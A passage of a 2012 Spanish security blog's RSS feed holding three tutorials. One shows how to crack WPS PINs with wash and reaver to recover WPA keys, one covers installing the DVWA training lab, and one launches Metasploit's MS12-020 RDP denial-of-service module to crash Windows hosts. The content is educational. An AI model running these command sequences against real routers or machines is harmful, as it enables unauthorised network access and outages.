/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&amp;nbsp; Documentos interesantes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Un post en &lt;a href="http://www.seguridadwireless.net/"&gt;Seguridad Wireless&lt;/a&gt; donde toca algunas opciones mas de la herramienta:&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;a href="http://foro.seguridadwireless.net/manuales-wireless/manual-reaver-en-castellano"&gt;http://foro.seguridadwireless.net/manuales-wireless/manual-reaver-en-castellano&lt;/a&gt; &lt;/li&gt;&lt;li&gt;El PDF original que documenta la vulnerabilidad se puede encontrar aquí: &lt;a href="http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf"&gt;http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;br /&gt;Con este par de documentos me despido, nos leemos en breve.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="color: orange; font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif; font-size: large;"&gt;&lt;b&gt;Aetsu&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8323603373554736529?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=2kZqSU9ZZqA:yVgr0tBGQxY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/2kZqSU9ZZqA" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-05-01T19:00:12.015+02:00</atom:updated><media:thumbnail url="http://1.bp.blogspot.com/-7RrLxAatsw0/T5s-vSQ7S_I/AAAAAAAAAik/bjZ5RyWuGxE/s72-c/0.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><media:content url="http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~5/ESoriIc7ECU/reaver-1.4.tar.gz" fileSize="766603" type="application/x-gzip; charset=binary" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>&amp;nbsp;Hace unos meses surgió una vulnerabilidad que afectaba a un tipo de autentificación mediante WPS que por falta de hardware, no había podido probar hasta ahora. &amp;nbsp; &amp;nbsp; En este post voy a intentar explicar como explotarla, como siempre desde Ba</itunes:subtitle><itunes:author>Copyright: "Vengador de las Sombras"</itunes:author><itunes:summary>&amp;nbsp;Hace unos meses surgió una vulnerabilidad que afectaba a un tipo de autentificación mediante WPS que por falta de hardware, no había podido probar hasta ahora. &amp;nbsp; &amp;nbsp; En este post voy a intentar explicar como explotarla, como siempre desde Backtrack 5 R2. Lo primero será comentar los tres tipos de conexión mediante WPS: En el primer método el router posee un botón que al pulsarlo y activar su correspondiente enlace del dispositivo que quiera conectarse se establecerá la conexión entre ambos, este método no es afectado por la vulnerabilidad.El siguiente método consiste en agregar desde el router el dispositivo deseado, este tipo, como la anterior tampoco es vulnerable.El tercero y último consiste en que el dispositivo que desea conectarse introducirá un pin proporcionado por el router y se establecerá la conexión. Este método SI QUE ES VULNERABLE. &amp;nbsp; Ahora que ya sabemos que tipo de WPS es vulnerable vamos a conocer el alcance de la vulnerabilidad: &amp;nbsp; Con este ataque podemos obtener el pin de acceso (para conectarnos por WPS), pero además nos mostrará la clave WPA/WPA2 asociada al punto de acceso (AP), todo esto en unas horas, que comparado con los ataques de diccionario para WPA es mucho mas efectivo. &amp;nbsp;Para realizar este ataque necesitaremos 2 herramientas, wash y reaver. No voy a entrar en como instalar estas herramientas ya que en Backtrack ya vienen incluidas, aunque podemos descargarlas de aquí (en el interior del .tar.gz, en el directorio docs explica como instalarlo). &amp;nbsp;Para empezar a trabajar necesitamos poner nuestra tarjeta en modo monitor, para ello utilizaremos la herramienta airmon-ng (perteneciente a la suite Aircrack-ng): airmon-ng start &amp;lt;interfaz&amp;gt;&amp;nbsp;para el ejemplo: airmon-ng start wlan0La interfaz en modo monitor pasará a ser mon0. Nuestro siguiente paso es buscar puntos de acceso vulnerables con WPS al alcance, para ello usaremos wash. wash -i &amp;lt;interfaz&amp;gt;para el ejemplo: wash -i mon0&amp;nbsp; aquí veremos los AP vulnerables, nosotros escogeremos "wireless" y apuntaremos su MAC (00:22:33:44:55:66). &amp;nbsp;Ahora ya tendremos solo nos quedará lanzar reaver y esperar: reaver -i &amp;lt;interfaz&amp;gt; -b &amp;lt;MAC del punto de acceso&amp;gt;&amp;nbsp;siguiendo con el ejemplo: reaver -i mon0 -b 00:22:33:44:55:66 &amp;nbsp; Como vemos en la última imagen hemos obtenido el pin WPS junto con la clave WPA, todo en unas 3 horas (en otras pruebas que hice el proceso duró unas horas mas, unas 11 concretamente xD). &amp;nbsp; Como el proceso puede durar bastante tiempo, y para no perder las pruebas realizadas, reaver nos permite suspender la sesión para continuarla cuando nos venga bien, esto es tan simple como interrumpir el programa con CTRL+C: &amp;nbsp; y para continuarlo volvemos a llamar a reaver de la misma forma que antes (reaver -i &amp;lt;interfaz&amp;gt; -b &amp;lt;MAC del punto de acceso&amp;gt;): &amp;nbsp; Documentos interesantes: Un post en Seguridad Wireless donde toca algunas opciones mas de la herramienta:&amp;nbsp; http://foro.seguridadwireless.net/manuales-wireless/manual-reaver-en-castellano El PDF original que documenta la vulnerabilidad se puede encontrar aquí: http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf Con este par de documentos me despido, nos leemos en breve. Aetsu </itunes:summary><itunes:keywords>Hack,hacking,hackers</itunes:keywords><category domain="http://rss.financialcontent.com/stocksymbol">AP</category><feedburner:origLink>http://0verl0ad.blogspot.com/2012/05/atacando-un-punto-de-acceso-con-wps.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~5/ESoriIc7ECU/reaver-1.4.tar.gz" length="766603" type="application/x-gzip; charset=binary" /><feedburner:origEnclosureLink>http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz</feedburner:origEnclosureLink></item><item><title>DVWAP + XAMPP en Ubuntu</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/yWlEx1Lf2rg/dvwap-xampp-en-ubuntu.html</link><category>seguridad web</category><category>lampp</category><category>gnu/linux</category><category>Hacking Framework</category><category>xampp</category><category>dvwa</category><category>navegador</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Fri, 23 Mar 2012 05:46:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-2911316795358402502</guid><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-GYevtHiTbzA/T2vJVyfqlYI/AAAAAAAAAgY/qxJA5fXlBtY/s1600/2.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="1" height="173" src="http://3.bp.blogspot.com/-GYevtHiTbzA/T2vJVyfqlYI/AAAAAAAAAgY/qxJA5fXlBtY/s400/2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp;En esta entrada voy a hablaros sobre &lt;a href="http://www.dvwa.co.uk/"&gt;DVWA &lt;/a&gt;un  framework que nos permite practicar diversos ataques a infraestructuras  web (XSS, SQLi, File inclusion...), todo esto sin meternos en problemas  legales.&lt;br /&gt;&amp;nbsp; Siendo novato en estos temas (a diferencia de mis compañeros de blog ;)) me está viniendo bastante  bien para conocer los fundamentos de estos ataques de forma fácil y  controlada, con lo que me dispongo a comentaros como instalar este  interesante &lt;i&gt;banco de pruebas&lt;/i&gt; de la forma más simple posible.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Nota: La instalación la he realizado en una máquina virtual con &lt;a href="http://www.ubuntu.com/download/ubuntu/download"&gt;Ubuntu 10.04&lt;/a&gt; y &lt;a href="http://www.apachefriends.org/en/xampp-linux.html"&gt;XAMPP&lt;/a&gt;, por tanto explicare como configurarlo sobre esta distribución.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[---] &lt;/b&gt;Lo primero será &lt;i&gt;configurar XAMPP&lt;/i&gt; con la finalidad de hacer funcionar después DVWA sobre este, para ello &lt;i&gt;partimos de un Ubuntu instalado&lt;/i&gt; (su instalación es muy simple y no entra en la finalidad de este post), así que descargamos XAMPP de su web :&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;a href="http://www.apachefriends.org/download.php?xampp-linux-1.7.7.tar.gz"&gt;&lt;b&gt;http://www.apachefriends.org/download.php?xampp-linux-1.7.7.tar.gz&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;y procedemos a la instalación como muy bien nos explican en &lt;a href="http://www.apachefriends.org/en/xampp-linux.html"&gt;su web&lt;/a&gt;:&lt;br /&gt;[+] Nos &lt;i&gt;autenticamos como root&lt;/i&gt;:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;su&lt;/b&gt;&lt;/blockquote&gt;[+] &lt;i&gt;Extraemos&lt;/i&gt; el archivo descargado &lt;i&gt;en /opt&lt;/i&gt;:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="font-family: inherit;"&gt;&lt;b&gt;tar xvfz xampp-linux-1.7.7.tar.gz -C /opt&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;[+] &lt;i&gt;Esto instalará un &lt;b&gt;apache+php+mysql&lt;/b&gt; en &lt;b&gt;/opt/lampp&lt;/b&gt;.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;[+] Para &lt;i&gt;ejecutarlo&lt;/i&gt; basta con:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="font-family: inherit;"&gt;&lt;b&gt;/opt/lampp/lampp start&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;y veremos algo como esto:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;Starting XAMPP for Linux 1.7.7...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;XAMPP: Starting Apache with SSL (and PHP5)...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;XAMPP: Starting MySQL...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;XAMPP: Starting ProFTPD...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;XAMPP for Linux started.&lt;/i&gt;&lt;/blockquote&gt;[+] Para finalizar este paso &lt;i&gt;comprobaremos que está correctamente instalado&lt;/i&gt; poniendo en nuestro navegador:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="font-family: inherit;"&gt;&lt;b&gt;http://localhost&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-MDZlqFaFZc0/T2vJUwNjynI/AAAAAAAAAgQ/syxF2-QXV80/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="1" height="157" src="http://2.bp.blogspot.com/-MDZlqFaFZc0/T2vJUwNjynI/AAAAAAAAAgQ/syxF2-QXV80/s400/1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[---] &lt;/b&gt;Una vez instalada la base(XAMPP) &lt;b&gt;vamos a descargar DVWA&lt;/b&gt; e "instalarlo", esto lo podemos hacer desde:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;http://dvwa.googlecode.com/files/DVWA-1.0.7.zip&lt;/b&gt; &lt;/blockquote&gt;y nos descargará un pequeño archivo de 1,3 Mb.&lt;br /&gt;&lt;br /&gt;[+] Nuestro siguiente movimiento será &lt;i&gt;extraerlo en /opt/lampp/htdocs&lt;/i&gt;:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b style="font-family: inherit;"&gt;unzip DVWA-1.0.7.zip -d /opt/lampp/htdocs/&lt;/b&gt;&lt;/blockquote&gt;[+] &lt;i&gt;Comprobamos que todo funciona&lt;/i&gt; bien accediendo con el navegador a:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b style="font-family: inherit;"&gt;http://localhost/dvwa&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-tYnBuXCHBi0/T2vJWWNlFyI/AAAAAAAAAgc/xHAkL6S76E8/s1600/3.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="1" height="198" src="http://1.bp.blogspot.com/-tYnBuXCHBi0/T2vJWWNlFyI/AAAAAAAAAgc/xHAkL6S76E8/s400/3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;[+] En este momento veremos una pantalla de login, que tenemos que rellenar con:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;Username = &lt;i&gt;admin&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Password = &lt;i&gt;password&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; y &lt;i&gt;pulsamos en "login" c&lt;/i&gt;on lo que &lt;i&gt;accederemos al panel principal de la aplicación&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;&amp;nbsp;[+] Por último solo nos quedará &lt;i&gt;instalar/configurar la base de datos de DVWA&lt;/i&gt;, esto es tan simple como:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;&amp;nbsp;Menú derecho -&amp;gt; Setup y pulsamos en "&lt;i&gt;Create/Reset Database&lt;/i&gt;"&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-vBRqU3KK340/T2vJXNxlprI/AAAAAAAAAgo/mpNkqRQe_kE/s1600/4.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="1" height="218" src="http://1.bp.blogspot.com/-vBRqU3KK340/T2vJXNxlprI/AAAAAAAAAgo/mpNkqRQe_kE/s400/4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Con esto&lt;i&gt; ya tendremos todo configurado&lt;/i&gt; para poder acercarnos a este mundo de una forma controlada, segura y sin complicaciones.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-GYevtHiTbzA/T2vJVyfqlYI/AAAAAAAAAgY/qxJA5fXlBtY/s1600/2.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;Antes  de despedirme comentaros que esta implementación de DVWA dista  muchísimo de ser segura, tanto la configuración de XAMPP como de la  aplicación no son seguros y deberían instalarse en un entorno controlado  para evitar sustos.&lt;br /&gt;&lt;br /&gt;Ahora sí me despido, nos leemos en breve ;)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="color: orange; font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif; font-size: large;"&gt;&lt;b&gt;Aetsu&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2911316795358402502?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=yWlEx1Lf2rg:VwSHLFMhLIQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/yWlEx1Lf2rg" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-03-23T13:46:39.776+01:00</atom:updated><media:thumbnail url="http://3.bp.blogspot.com/-GYevtHiTbzA/T2vJVyfqlYI/AAAAAAAAAgY/qxJA5fXlBtY/s72-c/2.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><media:content url="http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~5/kn8imLnkGNA/download.php" fileSize="79803195" type="application/x-gzip" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>&amp;nbsp; &amp;nbsp;En esta entrada voy a hablaros sobre DVWA un framework que nos permite practicar diversos ataques a infraestructuras web (XSS, SQLi, File inclusion...), todo esto sin meternos en problemas legales. &amp;nbsp; Siendo novato en estos temas (a difer</itunes:subtitle><itunes:author>Copyright: "Vengador de las Sombras"</itunes:author><itunes:summary>&amp;nbsp; &amp;nbsp;En esta entrada voy a hablaros sobre DVWA un framework que nos permite practicar diversos ataques a infraestructuras web (XSS, SQLi, File inclusion...), todo esto sin meternos en problemas legales. &amp;nbsp; Siendo novato en estos temas (a diferencia de mis compañeros de blog ;)) me está viniendo bastante bien para conocer los fundamentos de estos ataques de forma fácil y controlada, con lo que me dispongo a comentaros como instalar este interesante banco de pruebas de la forma más simple posible. Nota: La instalación la he realizado en una máquina virtual con Ubuntu 10.04 y XAMPP, por tanto explicare como configurarlo sobre esta distribución. [---] Lo primero será configurar XAMPP con la finalidad de hacer funcionar después DVWA sobre este, para ello partimos de un Ubuntu instalado (su instalación es muy simple y no entra en la finalidad de este post), así que descargamos XAMPP de su web : http://www.apachefriends.org/download.php?xampp-linux-1.7.7.tar.gzy procedemos a la instalación como muy bien nos explican en su web: [+] Nos autenticamos como root: su[+] Extraemos el archivo descargado en /opt: tar xvfz xampp-linux-1.7.7.tar.gz -C /opt[+] Esto instalará un apache+php+mysql en /opt/lampp. [+] Para ejecutarlo basta con: /opt/lampp/lampp starty veremos algo como esto: Starting XAMPP for Linux 1.7.7... XAMPP: Starting Apache with SSL (and PHP5)... XAMPP: Starting MySQL... XAMPP: Starting ProFTPD... XAMPP for Linux started.[+] Para finalizar este paso comprobaremos que está correctamente instalado poniendo en nuestro navegador: http://localhost [---] Una vez instalada la base(XAMPP) vamos a descargar DVWA e "instalarlo", esto lo podemos hacer desde: http://dvwa.googlecode.com/files/DVWA-1.0.7.zip y nos descargará un pequeño archivo de 1,3 Mb. [+] Nuestro siguiente movimiento será extraerlo en /opt/lampp/htdocs: unzip DVWA-1.0.7.zip -d /opt/lampp/htdocs/[+] Comprobamos que todo funciona bien accediendo con el navegador a: http://localhost/dvwa [+] En este momento veremos una pantalla de login, que tenemos que rellenar con: Username = admin Password = password&amp;nbsp;&amp;nbsp;&amp;nbsp; y pulsamos en "login" con lo que accederemos al panel principal de la aplicación. &amp;nbsp;[+] Por último solo nos quedará instalar/configurar la base de datos de DVWA, esto es tan simple como: &amp;nbsp;Menú derecho -&amp;gt; Setup y pulsamos en "Create/Reset Database" Con esto ya tendremos todo configurado para poder acercarnos a este mundo de una forma controlada, segura y sin complicaciones. Antes de despedirme comentaros que esta implementación de DVWA dista muchísimo de ser segura, tanto la configuración de XAMPP como de la aplicación no son seguros y deberían instalarse en un entorno controlado para evitar sustos. Ahora sí me despido, nos leemos en breve ;) Aetsu </itunes:summary><itunes:keywords>Hack,hacking,hackers</itunes:keywords><category domain="http://rss.financialcontent.com/stocksymbol">XAMPP</category><feedburner:origLink>http://0verl0ad.blogspot.com/2012/03/dvwap-xampp-en-ubuntu.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~5/kn8imLnkGNA/download.php" length="79803195" type="application/x-gzip" /><feedburner:origEnclosureLink>http://www.apachefriends.org/download.php?xampp-linux-1.7.7.tar.gz</feedburner:origEnclosureLink></item><item><title>Metasploit y MS12-020</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/fbdhoJdQa2E/metasploit-y-ms12-020.html</link><category>gnu/linux</category><category>windows</category><category>seguridad</category><category>metasploit</category><category>microsoft</category><category>backtrack</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Mon, 19 Mar 2012 17:51:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-921221026764133049</guid><description>&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;Recientemente ha aparecido una vulnerabilidad que &lt;b&gt;afecta a Windows&lt;/b&gt; y su implementación del &lt;b&gt;protocolo RDP &lt;/b&gt;(&lt;i&gt;Remote Desktop Protocol&lt;/i&gt;) &lt;i&gt;desde XP hasta W7&lt;/i&gt;.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp; Como era  previsible, hace poco empezaban a llegar noticias de exploits  funcionales que aprovechaban esta vulnerabilidad realizando un DoS al  equipo víctima, pero hoy he &lt;a href="http://www.metasploit.com/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids"&gt;leído que Metasploit&lt;/a&gt; ya incorpora el exploit en su base de datos así que vamos a ver como aprovechar esto.&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;   &amp;nbsp;Para la demostración he utilizado una máquina virtual con &lt;a href="http://www.backtrack-linux.org/downloads/"&gt;Backtrack 5&amp;nbsp; R2&lt;/a&gt; junto con &lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; que ya viene instalado en esta distribución.&lt;br /&gt; &lt;/blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp; Lo &lt;b&gt;primero&lt;/b&gt; que tenemos que hacer es &lt;b&gt;&lt;i&gt;actualizar metasploit&lt;/i&gt;&lt;/b&gt;, para ello utilizamos en una terminal:&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;msfupdate&lt;/b&gt;&lt;/blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp; Si &lt;i&gt;os da problemas &lt;/i&gt;como a mí, haced lo siguiente que he encontrado &lt;a href="http://sec.jetlib.com/BackTrack_Linux_Forums/2012/03/06/"&gt;aquí&lt;/a&gt;: &lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;cd /opt/metasploit/common/lib&lt;br /&gt;mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b&lt;/b&gt;&lt;b&gt;&lt;br /&gt;mv libssl.so.0.9.8 libssl.so.0.9.8-backup&lt;/b&gt;&lt;b&gt;&lt;br /&gt;ln -s /usr/lib/libcrypto.so.0.9.8&lt;/b&gt;&lt;b&gt;&lt;br /&gt;ln -s /usr/lib/libssl.so.0.9.8&lt;/b&gt;&lt;b&gt;&lt;br /&gt;m&lt;/b&gt;&lt;b&gt;sfupdate      &lt;/b&gt;&lt;/blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;El siguiente paso es &lt;i&gt;arrancar metasploit&lt;/i&gt; con:&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;msfconsole&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; font-family: Arial,Helvetica,sans-serif; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-NiHQSJefqfw/T2fKkgUQAAI/AAAAAAAAAfk/YvvPi1GObWw/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="253" src="http://4.bp.blogspot.com/-NiHQSJefqfw/T2fKkgUQAAI/AAAAAAAAAfk/YvvPi1GObWw/s400/1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;a continuación &lt;i&gt;escogemos el módulo a utilizar&lt;/i&gt;:&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;use auxiliary/dos/windows/rdp/ms12_020_maxchannelids&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; font-family: Arial,Helvetica,sans-serif; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://3.bp.blogspot.com/-r1o03J495n0/T2fKlPRaMuI/AAAAAAAAAfo/qvBfZKr5X40/s1600/2.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="260" src="http://3.bp.blogspot.com/-r1o03J495n0/T2fKlPRaMuI/AAAAAAAAAfo/qvBfZKr5X40/s400/2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;&amp;nbsp;Si queremos ver los parámetros que requiere para su funcionamiento junto con información del módulo podemos usar&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;&lt;b&gt;info&lt;/b&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;Como vemos con el comando &lt;b&gt;info&lt;/b&gt; requiere del parámetro &lt;b&gt;RHOST referente a la IP del objetivo&lt;/b&gt; (&lt;i&gt;en el ejemplo 192.168.0.107&lt;/i&gt;), para asignarlo basta con:&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;&lt;b&gt;set RHOST &amp;lt;ip&amp;gt;&lt;/b&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;en este caso:&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;set RHOST 192.168.0.107&lt;/b&gt; &lt;/blockquote&gt;&lt;div class="separator" style="clear: both; font-family: Arial,Helvetica,sans-serif; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-XHHI-U5NXn8/T2fMTrdcaUI/AAAAAAAAAgE/GXmlRzKyQOg/s1600/3.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="46" src="http://2.bp.blogspot.com/-XHHI-U5NXn8/T2fMTrdcaUI/AAAAAAAAAgE/GXmlRzKyQOg/s400/3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp; y por último&lt;i&gt; lanzamos el exploit&lt;/i&gt;:&lt;/div&gt;&lt;blockquote class="tr_bq" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;run&lt;/b&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; font-family: Arial,Helvetica,sans-serif; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/--hXXC7LuxJE/T2fKmFL8fLI/AAAAAAAAAf4/1NGOmPxtzLk/s1600/4.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="123" src="http://2.bp.blogspot.com/--hXXC7LuxJE/T2fKmFL8fLI/AAAAAAAAAf4/1NGOmPxtzLk/s400/4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Con esto deberíamos ver un &lt;b&gt;&lt;i&gt;&lt;strike&gt;precioso&lt;/strike&gt; pantallazo azul &lt;/i&gt;&lt;/b&gt;en el Windows objetivo :D &lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp;  Puesto que este era un post práctico he intentado ir lo mas directo que  he podido, si queréis más información sobre la vulnerabilidad aquí  tenéis unos enlaces interesantes:&lt;/div&gt;&lt;ul style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;li&gt;&lt;a href="http://technet.microsoft.com/es-es/security/bulletin/ms12-020"&gt;Boletín de seguridad de Microsoft MS12-020 - Crítica&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.segu-info.com.ar/2012/03/exploit-publico-para-ms12-020-parchea.html#axzz1pbstEFBj"&gt;Exploit público para MS12-020 (Parchea!)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.segu-info.com.ar/2012/03/faq-sobre-ms12-020.html#faq-sobre-ms12-020"&gt;FAQ sobre MS12-020&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;Con todo esto me despido, y a ver si consigo aumentar mi participación en este blog, un saludo&amp;nbsp; 